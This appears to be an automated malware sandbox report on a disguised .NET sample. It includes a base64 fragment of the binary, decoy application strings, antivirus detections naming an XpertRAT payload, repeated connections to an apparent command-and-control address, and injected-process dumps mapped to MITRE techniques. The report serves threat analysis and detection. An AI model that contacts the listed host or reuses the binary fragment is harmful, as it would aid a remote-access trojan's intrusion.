cHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAR3VpZEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEJ5dGUAQnVmZmVyAEJsb2NrQ29weQBBcnJheQBJbWFnZQBnZXRfSGVpZ2h0AEdldFBpeGVsAENvbG9yAEZyb21BcmdiAG9wX0luZXF1YWxpdHkAQXJyYXlMaXN0AFN5c3RlbS5Db2xsZWN0aW9ucwBnZXRfQ291bnQAZ2V0X1IAZ2V0X0cAZ2V0X0IASW5zZXJ0UmFuZ2UASUNvbGxlY3Rpb24AVHlwZQBHZXRUeXBlRnJvbUhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBUb0FycmF5AGdldF9XaWR0aABTdHJpbmcAQ29uY2F0AEFzc2VtYmx5AEdldEVudHJ5QXNzZW1ibHkAUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5SZXNvdXJjZXMAR2V0T2JqZWN0AEVudmlyb25tZW50AEV4aXQAVGhyZWFkAFN5c3RlbS5UaHJlYWRpbmcAU2xlZXAAQXBwRG9tYWluAGdldF9DdXJyZW50RG9tYWluAE1pY3Jvc29mdC5WaXN1YWxCYXNpYwBJbnRlcmFjdGlvbgBDYWxsQnlOYW1lAENhbGxUeXBlAEludDMyAAAAKy4AUAByAG8AcABlAHIAdABpAGUAcwAuAFIAZQBzAG8AdQByAGMAZQBzAAAJTABvAGEAZAAAFUUAbgB0AHIAeQBQAG8AaQBuAHQAAA1JAG4AdgBvAGsAZQAAAE6N49+kRK9GiPDpaI83z98ACLd6XFYZNOCJBgABHQUdBQiwP19/EdUKOgYAAR0FEg0GAAISDQ4OBQACAQ4OBQABHB0FBAAB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
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
C:\Users\Administrator\Desktop\Client\Temp\hbtSenwvWC\src\obj\Debug\Hlhf.pdb
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
U-5=EMU]dk
Fries
These are some fries
ner Pizza
Turkish Pizza
This is a turkish pizza
Vega Burger
This is a vegetarian hamburger
Double Cheeseburger
This is a double cheeseburger
Grilled Salmon
This is a grilled salmon
cbMenus
label1
Menu:
btnAddMenu
lstOrder
btnClearMenus
Clear
btnRemoveMenu
Remove
label2
Totalprice:
lblTotalPrice
OrderForm
hAubAHBQuQElrGnABQLFcezJYbVERt
AMD_Isotopes.Processors
StartGame
WinformsSandbox
Form1
Group of Groups!
WinformsSandbox.Properties.Resources
unify4
DataSource
GroupsBindingList
SelectedGroupBindingList
SelectedGroupDataGrid
PersonName
GroupsDataGrid
GroupName
Group Name
Roboto
GroupsView
Groups
{Random Group:
Leonor Halberg
Emil Hardin
Fredda Tardif
Regenia Kearley
Antonietta Batie
Rikki Melnyk
Claire Younger
Mindy Smale
Fredricka Vining
Maribeth Corum
Dagmar Paulson
Ariane Rexroat
Kristyn Drakeford
Susan Debose
Marisol Felter
Lenore Costner
Mitch Tremblay
Madie Penn
Eduardo Gloster
Ardella Bongiorno
Gertude Sherburne
Basilia Leger
Brianna Fleener
Kristian Langlois
Billi Torgerson
Tawnya Berenbaum
Ma Fritze
Lilly Ketchum
Lourie Snook
Brice Spece
Zenia Wilke
Leland Mccaslin
Sanjuanita Slemp
Elwanda Nasser
Melody Cockerham
Roseann Mcgillis
Jesse Sheffield
Lavona Dolloff
Raisa Holst
Regan Schoenberg
Gearldine Pettry
Ilene Mahr
Mitchell Rethman
Britney Riddell
Signe Shuman
Valery Solie
Sherril Portwood
Moshe Lirette
Renata Rael
Jefferey Brendel
Vallie Eidt
Nadia Wine
Neomi Mole
Jannette Gambrell
Tomika Graeber
Ricki Purdom
Martine Tetrault
Dorotha Dashiell
Shaunda Demko
Nereida Chisum
Joy Besaw
Bernardine Winebrenner
Omega Segawa
Patrina Morones
Buddy Sowell
Mahalia Landrum
Fleta Luft
Helen Le
Darlene Borton
Lai Lamont
Winona Lapan
Annie Romero
Samantha Crone
Tamela Weatherwax
Denyse Bosket
Margurite Estabrook
Sebastian Hassell
Joshua Brittingham
Clay Hudspeth
Loriann Burditt
Keshia Poplawski
Karissa Paugh
Annamarie Drees
Tifany Johnosn
Essie Critchfield
Eleanore Bradeen
Deidre Chauez
Santo Limbaugh
Fermina Spinelli
Deonna Higby
Ute Fouts
Joesph Speno
Timothy Fritz
Irene Houze
Brock Lambright
Buffy Claybrooks
Jarod Hofstetter
Holley Mousseau
Bettye Soderberg
Tammera Strebel
Editing
Please, put price in correct format!
Please, fill in all fields!!!
groupBoxButtons
Microsoft Sans Serif
buttonCancel
Cancel
buttonSave
Adding Products:
textBoxSku
labelSku
SKU Number
labelCategory
Category
textBoxCategory
labelTM
Trade Mark
textBoxTM
labelPrName
Product Name
textBoxPrName
labelSupplier
Supplier
textBoxSupplier
labelPrice
Price, UAH
textBoxPrice
labelStoreUn
Storage Unite
textBoxStoreUn
labelProductDetails
Product Details
textBoxProductDetails
AddEditForm
Adding product
Product Editing:
dataGridView1
buttonAdd
Add Product
buttonEdit
Edit Product
button3
Delete Product
groupBox1
buttonExit
EditDeleteAddForm
Products Amending
buttonShow
Show products
buttonAmend
Amend Products
Arial Narrow
labelProducts
Products
labelCatalogue
Catalogue
MainForm
ProductsDirectory.xml
SKU Number =
, Category =
, Trade Mark =
,Product Name =
, Product Details =
, Supplier =
Price = {0}, Storage Unit = {1}
ShowForm
Show Products
hAubAHBQuQElrGnABQLFcezJYbVERt
unify4
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
Winform Sandbox
FileVersion
1.98.4.0
InternalName
Hlhf.exe
LegalCopyright
Copyright
2017 - 2020
LegalTrademarks
OriginalFilename
Hlhf.exe
ProductName
Winform Sandbox
ProductVersion
1.98.4.0
Assembly Version
1.98.4.0

Full Results

Engine Signature Engine Signature Engine Signature
Bkav Clean DrWeb Clean MicroWorld-eScan Clean
FireEye Clean CAT-QuickHeal Clean ALYac Clean
Cylance Unsafe SUPERAntiSpyware Clean Sangfor Clean
K7AntiVirus Clean Alibaba Clean K7GW Clean
Cybereason Clean Invincea Clean BitDefenderTheta Clean
F-Prot Clean Symantec Clean TotalDefense Clean
APEX Malicious Avast Clean ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic BitDefender Clean NANO-Antivirus Clean
AegisLab Clean Rising Clean Endgame Clean
TACHYON Clean Emsisoft Clean Comodo Clean
F-Secure Clean Baidu Clean VIPRE Clean
TrendMicro Clean MaxSecure Clean Trapmine Clean
CMC Clean Sophos Clean Paloalto generic.ml
Cyren Clean Jiangmin Clean Webroot Clean
Avira Clean Fortinet Clean Antiy-AVL Clean
Kingsoft Clean Arcabit Clean ViRobot Clean
ZoneAlarm UDS:DangerousObject.Multi.Generic Avast-Mobile Clean Microsoft Trojan:Win32/Wacatac.C!ml
Cynet Clean AhnLab-V3 Clean Acronis Clean
McAfee Clean MAX Clean VBA32 Clean
Malwarebytes Trojan.MalPack.ADC Zoner Clean ESET-NOD32 Clean
TrendMicro-HouseCall Clean Tencent Clean Yandex Clean
SentinelOne Clean eGambit Clean GData Clean
Ad-Aware Clean AVG Clean Panda Clean
CrowdStrike Clean Qihoo-360 Clean
Sorry! No behavior.

Hosts

Direct IP Country Name
Y 194.5.99.136 [VT] France
Y 1.1.1.1 [VT] Australia

TCP

Source Source Port Destination Destination Port
192.168.1.2 49205 194.5.99.136 3135
192.168.1.2 49209 194.5.99.136 3135
192.168.1.2 49210 194.5.99.136 3135
192.168.1.2 49211 194.5.99.136 3135
192.168.1.2 49212 194.5.99.136 3135
192.168.1.2 49213 194.5.99.136 3135
192.168.1.2 49214 194.5.99.136 3135
192.168.1.2 49215 194.5.99.136 3135
192.168.1.2 49216 194.5.99.136 3135
192.168.1.2 49217 194.5.99.136 3135
192.168.1.2 49218 194.5.99.136 3135
192.168.1.2 49219 194.5.99.136 3135
192.168.1.2 49220 194.5.99.136 3135
192.168.1.2 49221 194.5.99.136 3135
192.168.1.2 49222 194.5.99.136 3135
192.168.1.2 49223 194.5.99.136 3135
192.168.1.2 49224 194.5.99.136 3135
192.168.1.2 49225 194.5.99.136 3135
192.168.1.2 49226 194.5.99.136 3135
192.168.1.2 49227 194.5.99.136 3135
192.168.1.2 49228 194.5.99.136 3135
192.168.1.2 49229 194.5.99.136 3135
192.168.1.2 49230 194.5.99.136 3135
192.168.1.2 49231 194.5.99.136 3135
192.168.1.2 49232 194.5.99.136 3135
192.168.1.2 49233 194.5.99.136 3135
192.168.1.2 49234 194.5.99.136 3135
192.168.1.2 49235 194.5.99.136 3135
192.168.1.2 49236 194.5.99.136 3135
192.168.1.2 49237 194.5.99.136 3135
192.168.1.2 49238 194.5.99.136 3135
192.168.1.2 49239 194.5.99.136 3135
192.168.1.2 49240 194.5.99.136 3135
192.168.1.2 49241 194.5.99.136 3135
192.168.1.2 49242 194.5.99.136 3135
192.168.1.2 49243 194.5.99.136 3135
192.168.1.2 49244 194.5.99.136 3135
192.168.1.2 49245 194.5.99.136 3135
192.168.1.2 49246 194.5.99.136 3135
192.168.1.2 49247 194.5.99.136 3135
192.168.1.2 49248 194.5.99.136 3135
192.168.1.2 49249 194.5.99.136 3135
192.168.1.2 49250 194.5.99.136 3135
192.168.1.2 49251 194.5.99.136 3135
192.168.1.2 49252 194.5.99.136 3135
192.168.1.2 49253 194.5.99.136 3135
192.168.1.2 49254 194.5.99.136 3135
192.168.1.2 49255 194.5.99.136 3135
192.168.1.2 49256 194.5.99.136 3135
192.168.1.2 49257 194.5.99.136 3135
192.168.1.2 49258 194.5.99.136 3135
192.168.1.2 49259 194.5.99.136 3135
192.168.1.2 49260 194.5.99.136 3135
192.168.1.2 49261 194.5.99.136 3135
192.168.1.2 49262 194.5.99.136 3135
192.168.1.2 49265 194.5.99.136 3135
192.168.1.2 49266 194.5.99.136 3135
192.168.1.2 49267 194.5.99.136 3135
192.168.1.2 49268 194.5.99.136 3135
192.168.1.2 49269 194.5.99.136 3135
192.168.1.2 49270 194.5.99.136 3135

UDP

Source Source Port Destination Destination Port
192.168.1.2 60934 1.1.1.1 53
192.168.1.2 64006 1.1.1.1 53
192.168.1.2 137 192.168.1.255 137
192.168.1.2 137 192.168.1.4 137

DNS

No domains contacted.

HTTP Requests

No HTTP requests performed.

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

Timestamp Source IP Source Port Destination IP Destination Port Protocol GID SID REV Signature Category Severity
2020-06-30 09:46:28.223 192.168.1.2 [VT] 49183 13.107.42.23 [VT] 443 TCP 1 2028397 2 ET JA3 Hash - Possible Malware - Various Malspam/RigEK Unknown Traffic 3

Suricata TLS

Timestamp Source IP Source Port Destination IP Destination Port Subject Issuer Fingerprint Version
2020-06-30 09:46:28.344 192.168.1.2 [VT] 49183 13.107.42.23 [VT] 443 CN=edge.skype.com 5c:3b:53:ee:b8:65:a3:2a:66:d4:04:36:67:98:af:88:8d:96:5d:74 TLS 1.2

Suricata HTTP

No Suricata HTTP

Sorry! No dropped Suricata Extracted files.

JA3

Source Source Port Destination Destination Port JA3 Hash JA3 Description
192.168.1.2 49183 13.107.42.23 443 3b483d0b34894548b602e8d18cdc24c5 unknown
Sorry! No dropped files.
Sorry! No CAPE files.
Process Name iexplore.exe
PID 6040
Dump Size 258048 bytes
Module Path C:\Program Files\Internet Explorer\iexplore.exe
Type PE image: 32-bit executable
PE timestamp 2015-10-25 12:12:32
MD5 ba6f7304b8dfb8ea8392d5c69d93612a
SHA1 fdedc03b31e9941b9cb4d3c98580abec380b20c7
SHA256 f6a7341726495bd0f7bdaabe405525a4b236711667a20d9a687be5eada6e892b
CRC32 22B0103D
Ssdeep 3072:en4evOVoI9v0QhO3UZuGAT1PFluuXD5FNof9ziCl7xJMJa/Z6CNvS+xkv:drh0hFtFe9mCBsJaci6+
CAPE Yara
  • XpertRAT Payload - Author: ditekshen
Dump Filename f6a7341726495bd0f7bdaabe405525a4b236711667a20d9a687be5eada6e892b
Download Download Zip
Process Name iexplore.exe
PID 4764
Dump Size 258048 bytes
Module Path C:\Program Files\Internet Explorer\iexplore.exe
Type PE image: 32-bit executable
PE timestamp 2015-10-25 12:12:32
MD5 29712837dff043f2d28d013676ae5ad1
SHA1 452d89d333751897a936a60d69b1a33a73724f89
SHA256 7c47a35d377518cb64ce5ddeb0ff4ec73718f7909607da9f794b6297b6cb647c
CRC32 09F8F68B
Ssdeep 3072:en4evOVoI9v0QhO3UZuGAT1PFluuXD5FNof9ziCl7xJMJa/Z6CNvS+xk:drh0hFtFe9mCBsJaci6+
CAPE Yara
  • XpertRAT Payload - Author: ditekshen
Dump Filename 7c47a35d377518cb64ce5ddeb0ff4ec73718f7909607da9f794b6297b6cb647c
Download Download Zip
Process Name 3xPFCTwuZSmjUq.exe
PID 5116
Dump Size 176128 bytes
Module Path C:\Users\Rebecca\AppData\Local\Temp\3xPFCTwuZSmjUq.exe
Type PE image: 32-bit executable
PE timestamp 2015-10-25 12:11:39
MD5 6d5917ef6d66507db446af0e6c9be652
SHA1 d8e2cd174675cabdbee030a5b65f15da64a54562
SHA256 775545772435d408d381fda7aca012d7ec1977914775593577fdaa2a39c6fd7c
CRC32 765D194B
Ssdeep 3072:dNWDBANaMY8Mr7RlgfYXGwgCdjFawS4ICUrDKhZCkwQYX41x1q:dIBiaM/oliYXZ1NFawSumklzYN
Dump Filename 775545772435d408d381fda7aca012d7ec1977914775593577fdaa2a39c6fd7c
Download Download Zip
Defense Evasion Persistence Privilege Escalation
  • T1116 - Code Signing
    • Signature - invalid_authenticode_signature
  • T1089 - Disabling Security Tools
    • Signature - modify_security_center_warnings
  • T1055 - Process Injection
    • Signature - InjectionInterProcess
  • T1045 - Software Packing
    • Signature - packer_entropy
  • T1031 - Modify Existing Service
    • Signature - modify_security_center_warnings
  • T1060 - Registry Run Keys / Startup Folder
    • Signature - persistence_autorun
  • T1055 - Process Injection
    • Signature - InjectionInterProcess

    Processing ( 9.643999999999998 seconds )

    • 5.433 Suricata
    • 2.197 BehaviorAnalysis
    • 0.504 CAPE
    • 0.398 VirusTotal
    • 0.363 Static
    • 0.279 NetworkAnalysis
    • 0.116 static_dotnet
    • 0.112 Deduplicate
    • 0.078 AnalysisInfo
    • 0.065 ProcDump
    • 0.049 Dropped
    • 0.026 TargetInfo
    • 0.013 Strings
    • 0.006 Debug
    • 0.005 peid

    Signatures ( 0.8500000000000004 seconds )

    • 0.08 antiav_detectreg
    • 0.056 lsass_credential_dumping
    • 0.046 Doppelganging
    • 0.04 antidbg_windows
    • 0.036 decoy_document
    • 0.033 InjectionCreateRemoteThread
    • 0.032 api_spamming
    • 0.032 injection_createremotethread
    • 0.032 stealth_timeout
    • 0.032 infostealer_ftp
    • 0.028 territorial_disputes_sigs
    • 0.024 NewtWire Behavior
    • 0.02 InjectionInterProcess
    • 0.02 masquerade_process_name
    • 0.019 infostealer_im
    • 0.018 injection_explorer
    • 0.017 antianalysis_detectreg
    • 0.017 antiav_detectfile
    • 0.014 ransomware_files
    • 0.01 infostealer_bitcoin
    • 0.009 antivm_generic_disk
    • 0.009 exec_crash
    • 0.009 antianalysis_detectfile
    • 0.009 antivm_vbox_keys
    • 0.009 ransomware_extensions
    • 0.008 infostealer_mail
    • 0.007 antiemu_wine_func
    • 0.007 dynamic_function_loading
    • 0.007 antivm_vbox_files
    • 0.007 mapped_drives_uac
    • 0.006 antivm_vbox_libs
    • 0.006 antivm_vmware_keys
    • 0.005 bootkit
    • 0.005 guloader_apis
    • 0.005 malicious_dynamic_function_loading
    • 0.005 persistence_autorun
    • 0.005 geodo_banking_trojan
    • 0.004 Unpacker
    • 0.004 exploit_heapspray
    • 0.004 infostealer_browser_password
    • 0.004 kovter_behavior
    • 0.004 mimics_filetime
    • 0.004 antivm_parallels_keys
    • 0.004 antivm_xen_keys
    • 0.004 predatorthethief_files
    • 0.004 qulab_files
    • 0.003 antiav_avast_libs
    • 0.003 antidebug_guardpages
    • 0.003 betabot_behavior
    • 0.003 exploit_getbasekerneladdress
    • 0.003 exploit_gethaldispatchtable
    • 0.003 reads_self
    • 0.003 stealth_file
    • 0.003 virus
    • 0.003 antivm_generic_diskreg
    • 0.003 antivm_vpc_keys
    • 0.002 InjectionProcessHollowing
    • 0.002 hancitor_behavior
    • 0.002 hawkeye_behavior
    • 0.002 injection_runpe
    • 0.002 kazybot_behavior
    • 0.002 kibex_behavior
    • 0.002 network_tor
    • 0.002 stack_pivot
    • 0.002 vawtrak_behavior
    • 0.002 antidbg_devices
    • 0.002 antivm_vmware_files
    • 0.002 browser_security
    • 0.001 InjectionSetWindowLong
    • 0.001 antiav_bitdefender_libs
    • 0.001 antiav_bullgaurd_libs
    • 0.001 antiav_emsisoft_libs
    • 0.001 antiav_qurb_libs
    • 0.001 antiav_apioverride_libs
    • 0.001 antiav_nthookengine_libs
    • 0.001 antisandbox_sboxie_libs
    • 0.001 antisandbox_script_timer
    • 0.001 antisandbox_sunbelt_libs
    • 0.001 antivm_generic_scsi
    • 0.001 antivm_generic_services
    • 0.001 antivm_vbox_window
    • 0.001 antivm_vmware_libs
    • 0.001 cerber_behavior
    • 0.001 dridex_behavior
    • 0.001 infostealer_browser
    • 0.001 office_com_load
    • 0.001 shifu_behavior
    • 0.001 tinba_behavior
    • 0.001 antivm_xen_keys
    • 0.001 antivm_hyperv_keys
    • 0.001 antivm_vbox_devices
    • 0.001 ketrican_regkeys
    • 0.001 modify_proxy
    • 0.001 bypass_firewall
    • 0.001 codelux_behavior
    • 0.001 darkcomet_regkeys
    • 0.001 disables_browser_warn
    • 0.001 azorult_mutexes
    • 0.001 masslogger_files
    • 0.001 revil_mutexes
    • 0.001 limerat_regkeys
    • 0.001 modirat_bheavior
    • 0.001 rat_pcclient
    • 0.001 recon_fingerprint

    Reporting ( 22.684999999999995 seconds )

    • 16.586 BinGraph
    • 5.026 JsonDump
    • 0.962 MITRE_TTPS
    • 0.086 SubmitCAPE
    • 0.025 PCAP2CERT